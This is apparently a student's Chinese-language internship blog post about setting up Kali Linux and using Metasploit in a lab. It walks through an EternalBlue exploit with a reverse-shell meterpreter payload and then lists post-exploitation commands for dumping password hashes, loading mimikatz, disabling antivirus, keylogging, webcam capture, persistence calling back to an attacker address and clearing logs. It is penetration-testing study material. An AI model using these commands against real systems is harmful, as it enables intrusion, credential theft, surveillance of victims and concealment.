zoukankan      html  css  js  c++  java
  • 粤嵌科技毕业实习Day5

    粤嵌科技毕业实习Day5

    1.虚拟机安装kali,更换root账号登录,熟悉基础命令,更新源

    安装kali:https://blog.csdn.net/qq_30250551/article/details/108046857?biz_id=102&utm_term=vm15%E5%AE%89%E8%A3%85kali&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-5-108046857&spm=1018.2118.3001.4187

    由于新版的kali2020版本安装没有要求设置root密码,所有默认root没有密码,要想进入root用户需要给修改root密码,在普通用户下使用如下命令:

    sudo passwd root
    

    2.熟悉metasploit的命令及使用

    • Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利 用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
    1. kali安装MSF

      apt-get install metasploit-framework
      /etc/init.d/postgresql start  #启动postgresql数据库
      update-rc.d postgresql enable  #postgresql开机自启动
      
      #初始化MSF数据库,关键!默认创建数据库名:msf,msf_test,用户;msf;默认口令为零;
      msfdb init	
      
    2. 使用方法

      msfconsole  #进入框架
      search  ms17-010	#使用search命令查找相关漏洞: 
      use exploit/windows/smb/ms17_010_eternalblue  #使用use进入模块
      info	#使用info查看模块信息
      set payload windows/x64/meterpreter/reverse_tcp	 #设置攻击载荷
      show options  #查看模块需要配置的参数
      set  RHOST  192.168.125.138  #设置参数
      exploit / run  #攻击
      后渗透阶段
      

      可 以 将 攻 击 代 码 写 入 configure.rc ( 只 要 是 以 .rc 结 尾 的 文 件 ) 配 置 文 件 中 , 然 后 使 用 命 令 msfconsole -r configure.rc 进行自动攻击!

    3. 进阶

    • 漏洞利用(exploit)

      • 里面有针对不同平台不同服务的漏洞。
      • exploit 漏 洞 利 用 模 块 路 径 : /usr/share/metasploitframework/modules/exploits
    • 攻击载荷(payload)

      • Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,简而言之,这种漏洞利用模块可以访问目标系统
      • payload 模 块 路 径 : /usr/share/metasploitframework/modules/payloads
      • Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的 一组机器指令。在大多数情况下,目标 系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。
      • Payload 模块主要有以下三种类型:
        • -Single
          • Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。但有 可 能 会 被 类 似 netcat 这样的非metasploit处理工具所捕捉到。
        • -Stager
          • Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并 下 载 额 外 的 组 件 或 应 用 程 序 。
          • Stager中几种常见的payload
            1. windows/meterpreter/bind_tcp # 正向连接
              • 应用场景:被攻击机无法主动连接到攻击机
            2. windows/meterpreter/reverse_tcp # 反向连接,常用
              • 应用场景:被攻击机能主动连接到攻击机,就算被攻击机开了防火墙也无妨,因为不会阻止被攻击机主动向外连接的流量
            3. windows/meterpreter/reverse_http # 通过监听 80 端口反向连接
              • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的80端口与外部通信
            4. windows/meterpreter/reverse_https # 通过监听 443 端口反向连接
              • 应用场景:被攻击机能主动连接到攻击机,被攻击机开了防火墙特别严格,只允许被攻击机的443端口与外部通信
        • -Stage
          • Stage 是 Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的 功能,而且没有大小限制。
    • Meterpreter

      • Meterpreter是一种后渗透工具,它属于一种在运行过程 中可通过网络进行功能扩展的动态可扩展型Payload。能够通过创建一个新进程并调用注入的DLL来 让目标系统运行注入的DLL文件。
      • 工作原理:
        1. 执行初始的溢出漏洞会话连接(可能是bind正向连接,或者反弹reverse连接)
        2. 反射连接的时候加载dll链接文件,同时后台悄悄处理dll文件。
        3. Meterpreter核心代码初始化 , 通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。
        4. Metasploit服务端收到这个GET请求后就配置相应客户端。
        5. Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
      • Meterpreter的特点:
        • Meterpreter完全驻留在内存,没有写入到磁盘
        • Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到 其它正在运行的进程
        • 默认情况下, Meterpreter的通信是加密的,所以很安全
        • 扩展性,许多新的特征模块可以被加载。
    • 后渗透阶段

      # 要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
      
      # 要想从 meterpreter 退出到MSF框架,输入:background
      
      • meterpreter的指令

        sysinfo             # 查看目标主机系统信息
        run scraper         # 查看目标主机详细信息
        run hashdump        # 导出密码的哈希
        load kiwi           # 加载 mimikatz
        ps                  # 查看目标主机进程信息
        pwd                 # 查看目标当前目录 (windows)
        getlwd              # 查看目标当前目录 (Linux)
        search -f *.jsp -d e:   # 搜索E盘中所有以 .jsp 为后缀的文件
        download  e:	est.txt  /root   # 将目标机的 e:	est.txt 文件下载到/root 目录下
        upload    /root/test.txt d:	est   # 将/root/test.txt 上传到目标机的 d:	est 目录下
        getpid          # 查看当前 Meterpreter Shell 的进程 PID
        migrate 1384     # 将当前 Meterpreter Shell 的进程迁移到 PID 为 1384 的进程上
        idletime            # 查看主机运行时间
        getsystem   # Meterpreter提供了一个getsystem命令,它可以使用多种技术在目标系统中实现提权. 注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
        getuid   # 可以获取当前用户的信息,用户为NT AUTHORITYSYSTEM ,这个也就是Windows的系统权限。
        run  killav  # 关闭杀毒软件,拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件
        screenshot          # 截图
        webcam_list         # 查看目标主机的摄像头
        webcam_snap         # 拍照
        webcam_stream       # 开视频
        execute  参数  -f 可执行文件   # 执行可执行程序
        run getgui -u hack -p 123    # 创建 hack 用户,密码为 123
        run getgui -e                # 开启远程桌面
        keyscan_start                # 开启键盘记录功能
        keyscan_dump                 # 显示捕捉到的键盘记录信息
        keyscan_stop                 # 停止键盘记录功能
        uictl  disable  keyboard     # 禁止目标使用键盘
        uictl  enable   keyboard     # 允许目标使用键盘
        uictl  disable  mouse        # 禁止目标使用鼠标
        uictl  enable   mouse        # 允许目标使用鼠标
        load                         # 使用扩展库
        run                     # 使用扩展库
         
        run persistence -X -i 5 -p 8888 -r 192.168.10.27        # 反弹时间间隔是 5s 会自动连接 192.168.27 的 4444 端口,缺点是容易被杀毒软件查杀
        portfwd add -l 3389 -r 192.168.11.13 -p 3389     # 将 192.168.11.13 的 3389 端口转发到本地的 3389 端口上,这里的 192.168. 11.13 是获取权限的主机的 ip 地址
        clearev      # 清除日志
        
        Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似)
        cd  # 切换目标目录;
        cat  # 读取文件内容;
        rm  # 删除文件;
        edit  # 使用vim编辑文件
        ls  # 获取当前目录下的文件;
        mkdir  # 新建目录;
        rmdir  # 删除目录;
        download  file  # 命令可以帮助我们从目标系统中下载文件
        upload  file   # 命令则能够向目标系统上传文件
        
      • Post 后渗透模块

        • 该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透 攻击动作。

          run post/windows/manage/migrate       # 自动进程迁移
          run post/windows/gather/checkvm       # 查看目标主机是否运行在虚拟机上
          run post/windows/manage/killav          # 关闭杀毒软件
          run post/windows/manage/enable_rdp        # 开启远程桌面服务
          run post/windows/manage/autoroute         # 查看路由信息
          run post/windows/gather/enum_logged_on_users    # 列举当前登录的用户
          run post/windows/gather/enum_applications       # 列举应用程序
          run windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码
          run windows/gather/smart_hashdump               #dump 出所有用户的 hash
          run post/windows/gather/checkvm    # 查看主机是否运行在虚拟机上 
          run scraper  # 获取目标主机的详细信息 
          run windows/gather/credentials/windows_autologin   #抓取自动登录的用户名和密码
          run hashdump   # 需要系统权限, 可以从SAM数据库中导出本地用户账号
          run windows/gather/smart_hashdump   # 需要系统权限,可以导出域内所有用户的hash,可以使用类似John the Ripper这样的工具来破解密码
          

    本文作者:AlubNoBug
    本文链接:https://www.cnblogs.com/AlubNoBug/p/13670546.html

  • 相关阅读:
    Android开发之Sqlite的使用
    ZOJ 3607 Lazier Salesgirl
    ZOJ 3769 Diablo III
    ZOJ 2856 Happy Life
    Ural 1119 Metro
    Ural 1146 Maximum Sum
    HDU 1003 Max Sum
    HDU 1160 FatMouse's Speed
    Ural 1073 Square Country
    Ural 1260 Nudnik Photographer
  • 原文地址:https://www.cnblogs.com/AlubNoBug/p/13670546.html
Copyright © 2011-2022 走看看